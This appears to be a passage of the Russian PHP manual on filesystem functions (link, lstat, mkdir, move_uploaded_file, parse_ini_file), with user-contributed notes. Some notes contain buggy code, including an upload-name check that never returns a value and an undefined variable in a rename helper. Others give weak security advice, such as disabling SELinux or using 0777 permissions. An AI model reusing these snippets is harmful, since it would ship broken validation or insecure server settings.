Имя ссылки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Функция завершается с ошибкой и выдаёт E_WARNING, если link уже существует или если target не существует.

Примеры

Пример #1 Создание простой жёсткой ссылки

<?php
$target = 'source.ext'; // Это уже существующий файл
$link = 'newfile.ext'; // Это файл, который вы хотите привязать к первому

link($target, $link);
?>

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Замечание: Только для Windows: Для данной функции необходимо, чтобы PHP был запущен в привилегированном режиме или с отключённым UAC.

Смотрите также

  • symlink() - Создаёт символическую ссылку
  • readlink() - Возвращает файл, на который указывает символическая ссылка
  • linkinfo() - Возвращает информацию о ссылке
  • unlink() - Удаляет файл

User Contributed Notes

crashulater at virtualcrash dot com 14-Jul-2018 07:17
In at least php-5.3 (linux-2.6.38.6) a process owned by apache could make a link() in a directory owned by apache, to a file owned by webmaster to which it had group read permissions. In php-7.0 (linux-4.13.16) that results in a "permission denied". Either the target file must be owned by apache or one must use copy() instead (so that ownership changes to apache).
Anonymous 16-Oct-2009 01:54
to clarify:

in unix/linux:
hardlinks (by this function) cannot go across different filesystems.
softlinks can point anywhere.

in linux, hardlinking to directory is not permited.
Jasper Bekkers 02-Aug-2006 07:16
For a backup utility I needed link-like functionality on a windows system. As it isn't availible on windows, i tried to do it myself with the help of some tools. All you need is junction.exe from sysinternals in your %PATH%.

<?php
if(!function_exists('link')){ // Assume a windows system
    function link($target, $link){
        if(is_dir($target)){
            // junctions link to directories in windows
            exec("junction $link $target", $lines, $val);
            return 0 == $val;
        }elseif(is_file($target)){
            // Hardlinks link to files in windows
            exec("fsutil hardlink create $link $target", $lines, $val);
            return 0 == $val;
        }

        return false;
    }
}
?>

http://www.sysinternals.com/Utilities/Junction.html
Guilherme Garnier 25-Apr-2006 11:32
I noticed that, differently from Unix ln command, the second parameter can?t be a directory name, i.e., if you want to create a link with the same filename of the target file (obviously on different directories), you must specify the filename on the link parameter.

Example:
Unix ln command:
ln /dir1/file /dir2/   // ok, creates /dir2/file link

PHP link function:
link ("/dir1/file", "/dir2/");   // wrong, gives a "File exists" warning
link ("/dir1/file", "/dir2/file");   // ok, creates /dir2/file link


Возвращает информацию о ссылке

  • « link
  • lstat »
  • PHP Manual
  • Функции файловой системы
  • Возвращает информацию о ссылке

linkinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

linkinfo — Возвращает информацию о ссылке

Описание

linkinfo(string $path): int|false

Возвращает информацию о ссылке.

Эта функция используется для определения, существует ли ссылка (на которую указывает path) на самом деле (используя тот же метод, что и макрос S_ISLNK, определённый в stat.h).

Список параметров

path

Путь к ссылке.

Возвращаемые значения

linkinfo() возвращает поле st_dev структуры stat из Unix C, которую возвращает системный вызов lstat. Возвращает неотрицательное целое число в случае успешного выполнения, -1 в случае, если ссылка не была найдена, или false в случае возникновения ошибки open.base_dir.

Примеры

Пример #1 Пример использования функции linkinfo()

<?php

echo linkinfo('/vmlinuz'); // 835

?>

Смотрите также

  • symlink() - Создаёт символическую ссылку
  • link() - Создаёт жёсткую ссылку
  • readlink() - Возвращает файл, на который указывает символическая ссылка

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о файле или символической ссылке

  • « linkinfo
  • mkdir »
  • PHP Manual
  • Функции файловой системы
  • Возвращает информацию о файле или символической ссылке

lstat

(PHP 4, PHP 5, PHP 7, PHP 8)

lstat — Возвращает информацию о файле или символической ссылке

Описание

lstat(string $filename): array|false

Собирает статистику на файл или символическую ссылку с именем filename.

Список параметров

filename

Путь к файлу или символической ссылке.

Возвращаемые значения

Обратитесь к странице руководства функции stat() для получения информации о структуре массива, который возвращает lstat(). Эта функция идентична функции stat(), за исключением того, что если filename является символической ссылкой, возвращается статус символической ссылки, а не того файла, на который она указывает.

Возвращает false в случае возникновения ошибки.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Сравнение функций stat() и lstat()

<?php
symlink('uploads.php', 'uploads');

// Отличия между uploads.php и uploads
array_diff(stat('uploads'), lstat('uploads'));
?>

Результатом выполнения данного примера будет что-то подобное:

Отличия в возвращаемых результатах между этими файлами.

Array
(
    [ino] => 97236376
    [mode] => 33188
    [size] => 34
    [atime] => 1223580003
    [mtime] => 1223581848
    [ctime] => 1223581848
    [blocks] => 8
)

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • stat() - Возвращает информацию о файле

User Contributed Notes

HP@SG 11-Nov-2020 06:47
Just for information and in reply to a previous message left 4 years ago by "salsi at icosaedro dot it" :

Files larger than 2 GiB can be handled on 64-bit Linux systems.

My test in a terminal is as follow (using <?php ;?> tags to colour the results for ease of reading) :

$ php -v

<?php
"
PHP 7.2.24-0ubuntu0.18.04.7 (cli) (built: Oct  7 2020 15:24:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.24-0ubuntu0.18.04.7, Copyright (c) 1999-2018, by Zend Technologies
"
;?>

$ date ; dd if=/dev/zero of=/tmp/php_test_huge bs=1024K count=2100 ; date ; ls -l /tmp/php_test_huge

<?php
"
Wed Nov 11 15:35:46 +08 2020
2100+0 records in
2100+0 records out
2202009600 bytes (2.2 GB, 2.1 GiB) copied, 4.79192 s, 460 MB/s
Wed Nov 11 15:35:51 +08 2020
-rw-r--r-- 1 harold harold 2202009600 Nov 11 15:35 /tmp/php_test_huge
"
;?>

$ php -r 'var_dump(lstat("/tmp/php_test_huge"));'

<?php
"
array(26) {
  [0]=>
  int(2050)
  [1]=>
  int(19923027)
  [2]=>
  int(33188)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(1000)
  [6]=>
  int(0)
  [7]=>
  int(2202009600)
  [8]=>
  int(1605079647)
  [9]=>
  int(1605080149)
  [10]=>
  int(1605080149)
  [11]=>
  int(4096)
  [12]=>
  int(4300808)
  ["dev"]=>
  int(2050)
  ["ino"]=>
  int(19923027)
  ["mode"]=>
  int(33188)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(1000)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(2202009600)
  ["atime"]=>
  int(1605079647)
  ["mtime"]=>
  int(1605080149)
  ["ctime"]=>
  int(1605080149)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(4300808)
}
"
;?>
salsi at icosaedro dot it 07-Jan-2016 07:29
This function fails and returns FALSE with files larger than 2 GB on Linux 32-bits (PHP 7.1.0-dev):

    $ dd if=/dev/zero of=/tmp/huge bs=1048576 count=2050
    $ php -r 'var_dump(lstat("/tmp/huge"));'
    --> Warning: lstat(): Lstat failed for /tmp/huge in Command line code on line 1

Window not tested. PHP 64-bits not tested.


Создаёт директорию

  • « lstat
  • move_uploaded_file »
  • PHP Manual
  • Функции файловой системы
  • Создаёт директорию

mkdir

(PHP 4, PHP 5, PHP 7, PHP 8)

mkdir — Создаёт директорию

Описание

mkdir(
string $directory,
int $permissions = 0777,
bool $recursive = false,
?resource $context = null
): bool

Пытается создать директорию, заданную в directory.

Список параметров

directory

Путь к директории.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

permissions

По умолчанию принимает значение 0777, что означает самые широкие права. Больше информации о правах доступа можно узнать на странице руководства функции chmod().

Замечание:

Аргумент permissions игнорируется в Windows.

Обратите внимание, что аргумент permissions необходимо задавать в виде восьмеричного числа (первой цифрой должен быть ноль). На аргумент permissions также влияет текущее значение umask, которое можно изменить при помощи umask().

recursive

Если указано значение true, то все родительские каталоги для указанного параметра directory также будут созданы, с теми же разрешениями.

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Замечание:

Если создаваемый каталог уже существует, это считается ошибкой и будет возвращено значение false. Используйте функцию is_dir() или file_exists(), чтобы проверить, существует ли уже каталог, прежде чем пытаться его создать.

Ошибки

Выдаёт ошибку уровня E_WARNING, если директория уже существует.

Выдаёт ошибку уровня E_WARNING, если соответствующие права доступа блокируют создание директории.

Примеры

Пример #1 Пример использования функции mkdir()

<?php
mkdir("/path/to/my/dir", 0700);
?>

Пример #2 Использование mkdir() с параметром recursive

<?php
// Желаемая структура папок
$structure = './depth1/depth2/depth3/';

// Для создания вложенной структуры необходимо указать параметр
// $recursive в mkdir().

if (!mkdir($structure, 0777, true)) {
die('Не удалось создать директории...');
}

// ...
?>

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • rmdir() - Удаляет директорию
  • umask() - Изменяет текущую umask

User Contributed Notes

chelidze dot givia at gmail dot com 12-Jul-2023 09:44
When creating a file using mkdir() the default root will be the DocumentRoot (in XAMPP) itself.

C:\xampp\htdocs\project/includes/something.php

If you use mkdir("myfile") in something.php, instead of creating the folder in includes, php will create it in the project folder
julius - grantzau - c-o-m 08-Mar-2011 08:10
Remember to use clearstatcache()

... when working with filesystem functions.

Otherwise, as an example, you can get an error creating a folder (using mkdir) just after deleting it (using rmdir).
jack dot sleight at gmail dot com 26-Mar-2010 03:26
When using the recursive parameter bear in mind that if you're using chmod() after mkdir() to set the mode without it being modified by the value of uchar() you need to call chmod() on all created directories. ie:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1/test2', 0777);
?>

May result in "/test1/test2" having a mode of 0777 but "/test1" still having a mode of 0755 from the mkdir() call. You'd need to do:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1', 0777);
chmod('/test1/test2', 0777);
?>
Protik Mukherjee 03-Mar-2005 09:29
mkdir, file rw, permission related notes for Fedora 3////
If you are using Fedora 3 and are facing permission problems, better check if SElinux is enabled on ur system. It add an additional layer of security and as a result PHP cant write to the folder eventhough it has 777 permissions. It took me almost a week to deal with this!

If you are not sure google for SElinux or 'disabling SELinux' and it may be the cure! Best of luck!
aulbach at unter dot franken dot de 22-Jul-1999 02:37
This is an annotation from Stig Bakken:

The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>


Перемещает загруженный файл в новое место

  • « mkdir
  • parse_ini_file »
  • PHP Manual
  • Функции файловой системы
  • Перемещает загруженный файл в новое место

move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

move_uploaded_file — Перемещает загруженный файл в новое место

Описание

move_uploaded_file(string $from, string $to): bool

Эта функция проверяет, является ли файл from загруженным на сервер (переданным по протоколу HTTP POST). Если файл действительно загружен на сервер, он будет перемещён в место, указанное в аргументе to.

Такая проверка особенно важна в том случае, если существует шанс того, что какие-либо действия, производимые над загруженным файлом, могут открыть его содержимое пользователю или даже другим пользователям системы.

Список параметров

from

Путь к загруженному файлу.

to

Путь, по которому необходимо переместить файл.

Возвращаемые значения

В случае успешного выполнения возвращает true.

Если from не является загруженным файлом, никаких действий не предпринимается и move_uploaded_file() возвращает false.

Если from является загруженным файлом, но не может быть перемещён по каким-либо причинам, никаких действий не предпринимается и move_uploaded_file() возвращает false. Кроме того, отображается предупреждение.

Примеры

Пример #1 Загрузка нескольких файлов

<?php
$uploads_dir = '/uploads';
foreach ($_FILES["pictures"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
// basename() может предотвратить атаку на файловую систему;
// может быть целесообразным дополнительно проверить имя файла
$name = basename($_FILES["pictures"]["name"][$key]);
move_uploaded_file($tmp_name, "$uploads_dir/$name");
}
}
?>

Примечания

Замечание:

Функция move_uploaded_file() принимает во внимание open_basedir. Тем не менее, ограничения накладываются лишь на параметр to, чтобы разрешить перемещение загруженных файлов, так как параметр from может конфликтовать с этими ограничениями. move_uploaded_file() гарантирует безопасность этой операции, работая лишь с теми файлами, которые были загружены через PHP.

Внимание

Если результирующий файл уже существует, он будет перезаписан.

Смотрите также

  • is_uploaded_file() - Определяет, был ли файл загружен при помощи HTTP POST
  • rename() - Переименовывает файл или директорию
  • Простой пример использования этой функции можно найти в разделе "Загрузка файлов на сервер"

User Contributed Notes

chelidze dot givia at gmail dot com 06-Jul-2023 02:54
When using move_uploaded_file(). If the user uploads an image with a name that already exists, move_uploaded_file() will overwrite it. It's a good practice to store images in directories that you generate upon creating ur card/user/product etc...

<?php
    function generateDir(int $n): string {
         $characters="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        $dir = "";
        for($i = 0; $i<$n; $i++){
            $index = rand(0, strlen($characters)-1);
            $dir .= $characters[$index];
        }
        return $dir;
    }

    $image = $_FILES["image"];
    $imagePath = 'images/'. generateDir(10) .'/'. $image["name"];

    // Make the directory first or else it will not proceed with the upload.
    mkdir($imagePath);

    // some error handling etc...

    move_uploaded_file($image["tmp_name"],  $imagePath);
?>
benbrown3882 at gmail dot com 19-May-2023 04:04
Ensure the upload temporary directory and the destination directory have "write" permissions for Other.
Juliano P. Santos 19-Mar-2019 10:25
For those which will use inotify-tools to start an event when move_uploaded_file put the file in a specific directory, be aware that move_uploaded_file will trigger the create event, and not the move event of inotify-tools.
Tom 05-Jan-2015 03:33
Nowhere does it say how to get the error/warning message when this fails.

The only way I know of doing it is something like this:

   if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_file)) {
      echo "<P>FILE UPLOADED TO: $target_file</P>";
   } else {
      echo "<P>MOVE UPLOADED FILE FAILED!</P>";
      print_r(error_get_last());
   }
Yousef Ismaeil Cliprz 17-Feb-2013 10:59
Security tips you must know before use this function :

First : make sure that the file is not empty.

Second : make sure the file name in English characters, numbers and (_-.) symbols, For more protection.

You can use below function as in example

<?php

/**
 * Check $_FILES[][name]
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz
 */
function check_file_uploaded_name ($filename)
{
    (bool) ((preg_match("`^[-0-9A-Z_\.]+$`i",$filename)) ? true : false);
}

?>

Third : make sure that the file name not bigger than 250 characters.

as in example :

<?php

/**
 * Check $_FILES[][name] length.
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz.
 */
function check_file_uploaded_length ($filename)
{
    return (bool) ((mb_strlen($filename,"UTF-8") > 225) ? true : false);
}

?>

Fourth: Check File extensions and Mime Types that you want to allow in your project. You can use : pathinfo() http://php.net/pathinfo

or you can use regular expression for check File extensions as in example

#^(gif|jpg|jpeg|jpe|png)$#i

or use in_array checking as

<?php

$ext_type = array('gif','jpg','jpe','jpeg','png');

?>

You have multi choices to checking extensions and Mime types.

Fifth: Check file size and make sure the limit of php.ini to upload files is what you want, You can start from http://www.php.net/manual/en/ini.core.php#ini.file-uploads

And last but not least : Check the file content if have a bad codes or something like this function http://php.net/manual/en/function.file-get-contents.php.

You can use .htaccess to stop working some scripts as in example php file in your upload path.

use :

AddHandler cgi-script .php .pl .jsp .asp .sh .cgi
Options -ExecCGI

Do not forget this steps for your project protection.
matthias dot dailey at gmail dot com 22-Jul-2011 01:26
The destination directory must exist; move_uploaded_file() will not automatically create it for you.
labsy at seznam dot org 03-May-2011 04:07
A note for PHP on Windows IIS platform:
PHP does obviously not like directory traversing among partitions, so if you set upload_tmp_dir to be on different partition as php-cgi.exe or php.exe is, upload_tmp_dir will NOT be accessible for file uploads! You will get ERROR 6 on any attempt to upload file, and file size will be 0.
Resolution is to have upload_tmp_dir set to a path under PHP install folder.
...and make sure this folder (and also session_save_path folder) has at least read/write permissions granted to AppPool owner (usually NETWORK SERVICE) and IIS web user (by default IUSR_).
wilcobeekhuizen at gmail dot com 30-Mar-2011 12:55
When uploading a file with a very long filename, for example 255 characters, move_uploaded_file fails. The longest file I've succesfully uploaded has a 247 character filename. So, although you can create a 250 character filename locally the server may not be able to move it.
Ray.Paseur sometimes uses Gmail 18-Aug-2010 08:42
You can only move the uploaded file once.  You can use copy() if you need the file in more than one place.
<?php // RAY_temp_upload_example.php
error_reporting(E_ALL);
echo "<pre>" . PHP_EOL;

// IF A FILE HAS BEEN UPLOADED
if (!empty($_FILES))
{
    // SHOW THE UPLOADED FILES
    print_r($_FILES);

    // TRY TO MOVE THE FILE TWICE - SECOND MOVE RETURNS FALSE
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;

    // SHOW THE UPLOADED FILES AFTER THE MOVE - NO VISIBLE CHANGE
    print_r($_FILES);
}

// END OF PHP, PUT UP THE HTML FORM TO GET THE FILE
?>
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="300000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
chatchaw at tot dot co dot th 19-Oct-2009 12:03
When you use move_uploaded_file function to upload a file with utf-8  filename to linux system, you probably check your result by browsing to see the file in the target directory so please make sure that your terminal emulator or your samba configuration is set the character encoding to utf-8 otherwise  your file will be shown as ?????? (unreadable character).
Dan Delaney 13-Oct-2008 01:41
For those using PHP on Windows and IIS, you SHOULD set the "upload_tmp_dir" value in php.ini to some directory around where your websites directory is, create that directory, and then set the same permissions on it that you have set for your websites directory. Otherwise, when you upload a file and it goes into C:\WINDOWS\Temp, then you move it to your website directory, its permissions will NOT be set correctly. This will cause you problems if you then want to manipulate that file with something like ImageMagick's convert utility.
Mark Kazemier 27-Aug-2008 09:36
I have the same problem as the person two comments below me. When I use the move_uploaded_file function the permissions for the file are set to 0600. No matter what configurations you set.

I searched the internet and I found more people with the same problems, but no solutions. I set the umask of apache to 013 and still the files were set to 0600.

The copy function solves the problem. Another way to solve this problem is using the chmod function after uploading.
Florian S. in H. an der E. [.de] 17-Aug-2008 02:02
move_uploaded_file (on my setup) always makes files 0600 ("rw- --- ---") and owned by the user running the webserver (owner AND group).
Even though the directory has a sticky bit set to the group permissions!
I couldn't find any settings to change this via php.ini or even using "umask()".

I want my regular user on the server to be able to "tar cjf" the directory .. which would fail on files totally owned by the webserver-process-user;
the "copy(from, to)" function obeys the sticky-bit though!
nlgordon at iastate dot edu 16-Jul-2007 11:29
Just a helpful comment.  If you have open_basedir set then you must set upload_tmp_dir to somewhere within the open_basedir.  Otherwise the file upload will be denied.  move_uploaded_file might be open_basedir aware, but the rest of the upload process isn't.
bogusred 10-Jun-2007 01:58
If you have a directory in a *nix environment where you store all of your file uploads and your php script only seems to work when permissions for that directory are set to 777, here's how to fix it so that you can have the security benefits of 755 while still allowing your php scripts to work, including the move_uploaded_file().

through shell access, navigate to the directory that contains your uploads folder and run the following 2 commands:
chown -R nobody uploaddir
chmod -R 755 uploaddir

Replace 'uploaddir' with the name of your uploads directory. The first command changes the owner of the directory and files to 'nobody' which is what php operates under. The second changes the folder and files to only allow user access to writing. This is much more secure.

Hopefully this will help someone out there who had the same problem as me.
shacker at birdhouse dot org 10-Sep-2006 12:28
If you're dealing with files uploaded through some external FTP source and need to move them to a final destination, searching php.net for "mv" or "move" won't get you what you want. You want the rename() function.

http://www.php.net/manual/en/function.rename.php

(move_uploaded_file() won't work, since the POST vars won't be present.)
Rob Szarka 22-Aug-2006 06:18
Apparently the warning above might better be written "If the destination file already exists, it will be overwritten ... regardless of the destination file's permissions."

In other words, move_uploaded_file() executes as if it's root, not the user under which the web server is operating or the owner of the script that's executing.
Zarel 13-Apr-2006 06:12
nouncad at mayetlite dot com posted a function that uploaded a file, and would rename it if it already existed, to filename[n].ext

It only worked for files with extensions exactly three letters long, so I fixed that (and made a few other improvements while I was at it).

<?php
// Usage: uploadfile($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name'])
function uploadfile($origin, $dest, $tmp_name)
{
  $origin = strtolower(basename($origin));
  $fulldest = $dest.$origin;
  $filename = $origin;
  for ($i=1; file_exists($fulldest); $i++)
  {
    $fileext = (strpos($origin,'.')===false?'':'.'.substr(strrchr($origin, "."), 1));
    $filename = substr($origin, 0, strlen($origin)-strlen($fileext)).'['.$i.']'.$fileext;
    $fulldest = $dest.$newfilename;
  }

  if (move_uploaded_file($tmp_name, $fulldest))
    return $filename;
  return false;
}
?>
jest3r at mtonic dot net 19-Oct-2005 09:10
It seems that move_uploaded_file use the GROUP permissions of the parent directory of the tmp file location, whereas a simple "copy" uses the group of the apache process. This could create a security nighmare if your tmp file location is owned by root:wheel


Обрабатывает конфигурационный файл

  • « move_uploaded_file
  • parse_ini_string »
  • PHP Manual
  • Функции файловой системы
  • Обрабатывает конфигурационный файл

parse_ini_file

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_ini_file — Обрабатывает конфигурационный файл

Описание

parse_ini_file(string $filename, bool $process_sections = false, int $scanner_mode = INI_SCANNER_NORMAL): array|false

parse_ini_file() загружает ini-файл, указанный в аргументе filename, и возвращает его настройки в виде ассоциативного массива.

Структура ini-файла похожа на структуру php.ini.

Список параметров

filename

Имя обрабатываемого ini-файла. Если используется относительный путь, он оценивается относительно текущего рабочего каталога, а затем include_path.

process_sections

Установив параметр process_sections в true, вы получаете многомерный массив, который включает как название отдельных настроек, так и секции. По умолчанию process_sections равен false

scanner_mode

Может принимать следующие значения: INI_SCANNER_NORMAL (по умолчанию) или INI_SCANNER_RAW. Если указано значение INI_SCANNER_RAW, то значения опций не будут обрабатываться.

С версии PHP 5.6.1 также можно задать INI_SCANNER_TYPED. В этом режиме типы boolean, null и integer будут, по возможности, сохраняться. Строковые значения "true", "on" и "yes" будут преобразованы в true. "false", "off", "no" и "none" в false. "null" преобразуется в null. Кроме этого, все числовые строки будут, по возможности, преобразованы к целым числам.

Возвращаемые значения

В случае успешного выполнения, настройки возвращаются в виде ассоциативного массива (array). В случае возникновения ошибки возвращается false.

Примеры

Пример #1 Содержимое sample.ini

; Это пример файла настроек
; Комментарии начинаются с ';', как в php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

urls[svn] = "http://svn.php.net"
urls[git] = "http://git.php.net"

Пример #2 Пример использования функции parse_ini_file()

Константы (но не "магические константы" вроде __FILE__) также могут обрабатываться в ini-файлах, так что если вы объявите константу в виде значения для ini-файла до вызова parse_ini_file(), то константа будет корректно обработана. Только значения опций будут обрабатываться и значение должно быть просто константой. Например:

<?php

define('BIRD', 'Птица додо');

// Обрабатываем без секций
$ini_array = parse_ini_file("sample.ini");
print_r($ini_array);

// Обрабатываем с секциями
$ini_array = parse_ini_file("sample.ini", true);
print_r($ini_array);

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [one] => 1
    [five] => 5
    [animal] => Птица додо
    [path] => /usr/local/bin
    [URL] => http://www.example.com/~username
    [phpversion] => Array
        (
            [0] => 5.0
            [1] => 5.1
            [2] => 5.2
            [3] => 5.3
        )

    [urls] => Array
        (
            [svn] => http://svn.php.net
            [git] => http://git.php.net
        )

)
Array
(
    [first_section] => Array
        (
            [one] => 1
            [five] => 5
            [animal] => Птица додо
        )

    [second_section] => Array
        (
            [path] => /usr/local/bin
            [URL] => http://www.example.com/~username
        )

    [third_section] => Array
        (
            [phpversion] => Array
                (
                    [0] => 5.0
                    [1] => 5.1
                    [2] => 5.2
                    [3] => 5.3
                )

            [urls] => Array
                (
                    [svn] => http://svn.php.net
                    [git] => http://git.php.net
                )

        )

)

Пример #3 Обработка файла php.ini функцией parse_ini_file()

<?php
// Простая функция для сравнения результатов
function yesno($expression)
{
return($expression ? 'Да' : 'Нет');
}

// Получаем путь к php.ini с помощью функции php_ini_loaded_file()
$ini_path = php_ini_loaded_file();

// Обрабатываем php.ini
$ini = parse_ini_file($ini_path);

// Выводим и сравниваем значения, учтите, что использование get_cfg_var()
// даст одинаковые результаты для используемых здесь значений parsed (загруженное из файла) и loaded (используемое в данный момент)
echo '(parsed) magic_quotes_gpc = ' . yesno($ini['magic_quotes_gpc']) . PHP_EOL;
echo '(loaded) magic_quotes_gpc = ' . yesno(get_cfg_var('magic_quotes_gpc')) . PHP_EOL;
?>

Результатом выполнения данного примера будет что-то подобное:

(parsed) magic_quotes_gpc = Да
(loaded) magic_quotes_gpc = Да

Пример #4 Интерполяция значений

Помимо оценки констант, некоторые символы имеют особое значение в значении ini-файлах. Кроме того, переменные среды и ранее определённые параметры конфигурации (смотрите get_cfg_var()) могут быть прочитаны с использованием синтаксиса ${}.

; | используется для побитового ИЛИ
three = 2|3

; & используется для побитового AND
four = 6&5

; ^ используется для побитового XOR
five = 3^6

; ~ используется для побитового отрицания
negative_two = ~1

; () используется для группировки
seven = (8|7)&(6|5)

; Интерполируйте переменную окружения PATH
path = ${PATH}

; Интерполируйте параметр конфигурации 'memory_limit'
configured_memory_limit = ${memory_limit}

Пример #5 Экранирование символов

Некоторые символы имеют особое значение в строках с двойными кавычками и должны быть экранированы префиксом обратной косой черты. Прежде всего, это двойная кавычка " в качестве маркера границы и сама обратная косая черта \ (если за ней следует один из специальных символов):

quoted = "Она сказала \"Именно моя точка зрения\"." ; Результатом является строка с кавычками.
hint = "Используйте \\\", чтобы избежать двойных кавычек" ; Результат: Используйте \", чтобы избежать двойных кавычек

Для путей, подобных Windows, сделано исключение: можно не экранировать обратную косую черту в конце, если за строкой в кавычках следует разрыв строки:

save_path = "C:\Temp\"

Если нужно экранировать двойные кавычки, за которыми следует перенос строки в многострочном значении, можно использовать конкатенацию значений следующим образом (за одной строкой в двойных кавычках непосредственно следует другая):

long_text = "Lorem \"ipsum\"""
 dolor" ; Результат: Lorem "ipsum"\n dolor

Другой символ со специальным значением - это $ (знак доллара). Он должен быть экранирован, если за ним следует открытая фигурная скобка:

code = "\${test}"

Экранирующие символы не поддерживаются в режиме INI_SCANNER_RAW (в этом режиме все символы обрабатываются "как есть").

Обратите внимание, что синтаксический анализатор ini не поддерживает стандартные последовательности экранирования (\n, \t и т.д.). При необходимости выполните постобработку результата parse_ini_file() с помощью функции stripcslashes().

Примечания

Замечание:

Эта функция не имеет никакого отношения к файлу php.ini. К моменту выполнения вашего скрипта, он уже обработан. Эта функция может быть использована для загрузки настроек вашего собственного приложения.

Замечание:

Если значение в ini-файле содержит прочие символы, кроме букв и цифр, оно должно заключаться в двойные кавычки (").

Замечание: Существует зарезервированные слова, которые нельзя использовать в качестве ключей в ini-файлах. Такими словами являются: null, yes, no, true, false, on, off, none. Значения null, off, no и false преобразуются в "", а значения on, yes и true в "1" , но только если не используется режим INI_SCANNER_TYPED. Символы ?{}|&~!()^" не должны использоваться в ключах и иметь какой-либо особый смысл в значениях.

Замечание:

Записи без знака равенства игнорируются. Например, "foo" игнорируется, тогда как "bar =" обрабатывается и добавляется с пустым значением. Например, в MySQL есть опция "no-auto-rehash", устанавливаемая в my.cnf, которая не имеет значения и игнорируется.

Замечание:

ini-файлы обычно обрабатываются веб-серверами как простой текст и, таким образом, по запросу передаются браузерам. Это означает, что в целях безопасности вы должны либо хранить свои ini-файлы вне корневого каталога документов, либо перенастроить веб-сервер, чтобы они не обслуживались. Невыполнение любого из этих требований может создать угрозу безопасности.

Смотрите также

  • parse_ini_string() - Разбирает строку конфигурации

User Contributed Notes

manngo 30-Oct-2023 09:49
Securing your .ini file:

"ini files are generally treated as plain text by web servers and thus served to browsers if requested. That means for security you must either keep your ini files outside of your docroot or reconfigure your web server to not serve them. Failure to do either of those may introduce a security risk."

Alternatively, you can save you file as:

stuff.ini.php

add this to the beginning:

;<?php die('go away'); ?>

The semicolon at the beginning is treated as comment, so this line has no effect on the ini file.

Since the file has a .php extension, it will run through the PHP interpreter if you attempt to access this file directly, and the php block will be processed and exit.

The file extension has no ill effect on the parse_ini_file() function, and the .ini part is, of course, a matter of taste.
eciruam35 at gmail dot com 26-Sep-2023 02:34
fix a little bug (here) in function put_ini_file:

function put_ini_file($config, $file, $has_section = false, $write_to_file = true){
    $fileContent = '';
    if(!empty($config)){
        foreach($config as $i=>$v){
            if($has_section){
                $fileContent .= "\n[$i]".PHP_EOL.put_ini_file($v, $file, false, false);
            }
            else{
                if(is_array($v)){
                    foreach($v as $t=>$m){
//--->>> Here                        $fileContent .= "-->$i[$t] = ".(is_numeric($m) ? $m : '"'.$m.'"').PHP_EOL;
                        $fileContent .= "$i"."[] = ".(is_numeric($m) ? $m : '"'.$m.'"').PHP_EOL;
                    }
                }
                else $fileContent .= "$i = ".(is_numeric($v) ? $v : '"'.$v.'"').PHP_EOL;
            }
        }
    }

    if($write_to_file && strlen($fileContent)) return file_put_contents($file, $fileContent, LOCK_EX);
    else return $fileContent;
}
info () gaj ! design 16-Dec-2016 02:26
Not mentioned in the documentation, this function acts like include:

"Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing."

(At least for PHP 7; have not checked PHP 5.)
YAPs 03-Jul-2016 08:49
